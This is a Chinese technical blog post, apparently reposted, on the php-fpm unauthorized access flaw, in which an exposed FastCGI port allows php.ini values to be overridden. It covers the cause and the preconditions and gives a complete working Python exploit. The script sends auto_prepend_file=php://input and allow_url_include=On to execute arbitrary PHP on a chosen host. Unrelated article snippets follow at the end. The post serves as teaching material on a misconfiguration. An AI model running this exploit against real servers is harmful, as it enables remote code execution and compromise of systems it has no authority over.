php-fpm未授权访问漏洞

news2025/3/2 1:17:56

目录

一、产生原因

二、利用条件

三、过程原理

四、复现过程


一、产生原因

php-fpm配置不当,fastcgi_pass这里配置了0.0.0.0,将fastcgi接口暴露在公网,任何人都可以利用接口对php-fpm发送fastcgi协议数据,更改php.ini配置文件,导致远程代码执行

此漏洞属于配置不当,因此影响所有php版本

二、利用条件

  • php-fpm配置0.0.0.0(暴露在公网)
  • 可以与目标服务器通信
  • 目标服务器有可访问的php文件

三、过程原理

利用fastcgi接口向php-fpm发送恶意配置

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

auto_prepend_file意思是在加载任意php文件之前,先加载配置内容php://input

而php://input伪协议需要'allow_url_include = On'

如果目标服务器根目录下没有php文件,那么可以访问/usr/local/lib/php/PEAR.php,这是安装php时自带的php文件,可以直接访问该文件

发送fastcgi数据给php-fpm后,php-fpm根据SCRIPT_FILENAME值转发给php解析,更改php.ini配置,然后执行文件或代码

四、复现过程

利用Python脚本

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

127.0.0.1为目标服务器,这里因为搭建的docker,所以是127.0.0.1,也可以是docker的ip

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/997003.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue3-devtools开发者工具安装方法

因为最近在学习Vue3&#xff0c;但是之前找到的Vue3-Devtools失效了&#xff0c;那就来下载安装下 下载安装 Github下载地址&#xff1a;Vue3-Devtools 这个链接快点:Vue3-Devtools 点击链接后页面如下 点击main选项&#xff0c;下拉列表往下拉&#xff0c;找到你想要的版…

谁在为网络安全制造标尺?

“我们想帮助企业往后退一步&#xff0c;去全局的看一下自己的安全能力建设水平如何&#xff0c;以及在当下的阶段最应该做的安全建设是什么&#xff1f; ” 度量&#xff0c;对应的是更清晰的认知。而对企业安全而言&#xff0c;这种认知&#xff0c;也更在成为一把新的标尺…

UMA 2 - Unity Multipurpose Avatar☀️八.UMA内置实用Recipes插件

文章目录 🟥 UMA内置Recipes位置🟧 CapsuleCollider🟨 Expressions : 表情管理(重点)🟩 Locomotion : 移动测试的插件🟦 Physics : Collider升级版🟥 UMA内置Recipes位置 如下图所示,UMA共内置5种实用Recipes,文件夹内的Text Recipes类型的文件即是实用Recipes. …

nbcio-boot移植到若依ruoyi-nbcio平台里一formdesigner部分(一)

nbcio-boot项目移植到ruoyi-nbcio项目中&#xff0c; 今天主要讲formdesigner的移植 1、把formdesigner的源代码拷贝到component里&#xff0c;并修改成formdesigner&#xff0c;如下&#xff1a; 2、form下的index.vue修改如下&#xff1a; 主要是修改新增&#xff0c;修改…

【excel】万字长文,一些实用excel技巧,金融财务行业巨实用(最后有干货,配合chatgpt让你成为excel大佬)

本文主要记录一些在工作中经常能用到的excel技巧&#xff0c;能够帮助我们提高工作效率。在文章的最后还会通过几个实战例子来加深大家的理解。建议把本文作为备查文&#xff0c;不需要在阅读本文的当下就将这些技巧掌握&#xff0c;只需了解&#xff0c;哪些东西通过excel是能…

ADS中带通滤波器模型参数含义学习笔记

ADS中带通滤波器模型参数含义 1、 Fcenter 中心频率 2、 BWpass 通带带宽 3、 Apass 衰减量时的通带带宽 这两个是对应的&#xff0c;比如说是80MHz&#xff0c;3dB&#xff0c;那么就是3dB时的带宽为80MHz&#xff0c;如果改为0.1dB&#xff0c;那么带宽就是0.1dB时的带宽为80…

Debian11之稳定版本Jenkins安装

官方网址 系统要求 机器要求 256 MB 内存&#xff0c;建议大于 512 MB 10 GB 的硬盘空间&#xff08;用于 Jenkins 和 Docker 镜像&#xff09;软件要求 Java 8 ( JRE 或者 JDK 都可以) Docker &#xff08;导航到网站顶部的Get Docker链接以访问适合您平台的Docker下载安装…

3D点云处理:基于角度的点云边缘点排序(附源码)

文章目录 0. 测试效果1. 基本内容2. 实现步骤3. 代码实现文章目录:3D视觉个人学习目录0. 测试效果 边缘点按照排序顺序显示(为便于显示查看,每隔五个点显示一个点) 1. 基本内容 基于角度的边缘点排序主要是基于每一个边缘点与点云中心位姿构成的向量与参考方向之间的…

MySQL的索引和事务

一、索引 &#xff08;一&#xff09;索引概念 索引是一种特殊的文件&#xff0c;包含数据库中所有记录的引用&#xff0c;可以对表中的一列或多列创建索引&#xff0c; 并指定索引的类型&#xff08;存储引擎&#xff09;&#xff0c;每种索引在不同的存储引擎中的实现都有可…

Vite,Vue3项目引入dataV报错的解决方法

背景:开发一个大屏项目中,需要是要DataV的那边边框,装饰等,只是DataV是基于vue2的,vue3版的作者还在开发中,于是翻了DataV的源码,发现使用esm方式时是直接引入源码而不经过打包,其源码中使用的vue语法vue3也支持,所以可以直接在vue3中引入使用. vite,vue3项目直接引入DataV 安…

ELK日志框架图总结

ELK日志框架图总结 本文目录 ELK日志框架图总结Elastic Stack介绍模式分层图beatselasticsearchkibana模式logstashelasticsearchkibana模式beatslogstashelasticsearchkibana模式beats缓存/消息队列logstashelasticsearchkibana模式elkspringboot Elastic Stack介绍 官网&…

数据挖掘实验-主成分分析与类特征化

数据集&代码https://www.aliyundrive.com/s/ibeJivEcqhm 一.主成分分析 1.实验目的 了解主成分分析的目的&#xff0c;内容以及流程。 掌握主成分分析&#xff0c;能够进行编程实现。 2.实验原理 主成分分析的目的 主成分分析就是把原有的多个指标转化成少数几个代表…

【项目 计网11】4.29 epoll API介绍 4.30 epoll 代码编写 4.31 epoll的两种工作模式

4.29 epoll API介绍 epoll_create实例在内核区&#xff0c;创建了一个eventpoll结构体。这个函数的返回值是一个文件描述符&#xff0c;通过这个fd去操纵eventpoll #include <sys/epoll.h> //创建一个新的epoll实例。在内核中创建了一个数据&#xff0c;这个数据中有两个…

MergeTree表的三种格式

MergeTree表的三种格式 MergeTree表引擎有三种格式&#xff1a;Compact、Wide和In-memory&#xff0c;前两个为主要格式。具体区别是&#xff1a; Compact - 所有的列的数据放在一个文件&#xff1b;Wide - 每个列的数据放在一个文件&#xff1b;In-memory - 数据存在内存中&…

muduo 32 muduo项目总结

Timestamp时间管理类 ①&#xff1a;主要提供now函数显示当前时间&#xff1a;自1970年1月1日0点以来经过的秒数&#xff0c;使用time函数 ②&#xff1a; toString函数将字符串转化成时间字符串&#xff0c;使用localtime函数将秒数格式化成日历时间 解析tm_time 并以日历格…

JavaFX之Stage

Stage&#xff08;舞台&#xff09;&#xff0c;它代表了一个顶级窗口&#xff0c;是JavaFX应用程序的主要容器。Stage可以包含多个场景&#xff08;Scene&#xff09;&#xff0c;每个场景可以包含各种用户界面元素&#xff08;如按钮、文本框等&#xff09;。Stage提供了许多…

Android Studio配置

Android Studio安装包下载安装 安装包下载 进入网站 https://developer.android.google.cn/studio 下载Android Studio安装包&#xff08;本文版本android-studio-2021.1.1.22-windows&#xff09; 点击按钮之后会弹出条款&#xff0c;点击同意 安装包安装 点击next 选择…

Redis(详细)

目录 Redis是什么 Redis的主要特点 Redis的使用场景 会话存储 缓存存储 实现分布式锁 Redis为什么这么快 基于内存操作 高效的数据结构 多路I/O复用模型 单线程执行 Redis常见的数据结构 Redis有序列表的实现 跳跃表的执行流程 Redis分布式锁实现 使用分布式锁…

vue学习之属性绑定

内容渲染 采用 &#xff1a;进行属性渲染创建 demo3.html,内容如下 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"&…

Kafka/Spark-01消费topic到写出到topic

1 Kafka的工具类 1.1 从kafka消费数据的方法 消费者代码 def getKafkaDStream(ssc : StreamingContext , topic: String , groupId:String ) {consumerConfigs.put(ConsumerConfig.GROUP_ID_CONFIG , groupId)val kafkaDStream: InputDStream[ConsumerRecord[String, Strin…